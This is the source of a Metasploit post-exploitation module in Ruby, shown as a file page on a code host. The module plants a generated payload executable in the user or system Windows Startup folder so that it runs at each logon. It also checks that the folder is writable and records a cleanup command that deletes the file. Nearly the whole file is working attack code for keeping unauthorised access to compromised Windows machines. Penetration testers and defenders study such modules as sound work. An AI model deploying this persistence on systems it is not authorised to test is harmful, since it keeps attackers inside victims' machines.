Path: blob/master/modules/exploits/windows/persistence/startup_folder.rb
31516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Persistent Startup Folder',18'Description' => %q{19This module establishes persistence by creating a payload in the user or system startup folder.20Works on Vista and newer systems.21},22'License' => MSF_LICENSE,23'Author' => [ 'h00die' ],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter', 'shell' ],26'Targets' => [27[ 'Automatic', {} ]28],29'DefaultTarget' => 0,30'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],31'References' => [32['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],33['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],34['URL', 'https://support.microsoft.com/en-us/windows/configure-startup-applications-in-windows-115a420a-0bff-4a6f-90e0-1934c844e473']35],36'DisclosureDate' => '1995-01-01', # windows 9537'Notes' => {38'Stability' => [CRASH_SAFE],39'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],40'SideEffects' => [ARTIFACTS_ON_DISK]41}42)43)4445register_options(46[47OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),48OptEnum.new('CONTEXT', [false, 'Target current User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ])49]50)51end5253def folder54if datastore['CONTEXT'] == 'USER'55f = session.sys.config.getenv('%userprofile%')56f = "#{f}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"57return f58end59f = session.sys.config.getenv('%ProgramData%')60"#{f}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"61end6263def check64f = folder65begin66# windows only ps payloads have writable? so try that first67return CheckCode::Safe("Unable to write to #{f}") unless writable?(f)68rescue RuntimeError69filename = f + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))70write_file(filename, '')71if exists? filename72rm_f(filename)73return CheckCode::Appears("Likely exploitable, able to write test file to #{f}")74else75return CheckCode::Safe("Unable to write to #{f}")76end77end7879CheckCode::Appears('Likely exploitable')80end8182def install_persistence83payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))84payload_exe = generate_payload_exe85payload_pathname = folder + '\\' + payload_name + '.exe'86vprint_good("Writing payload to #{payload_pathname}")87fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)88vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")89@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"90end91end929394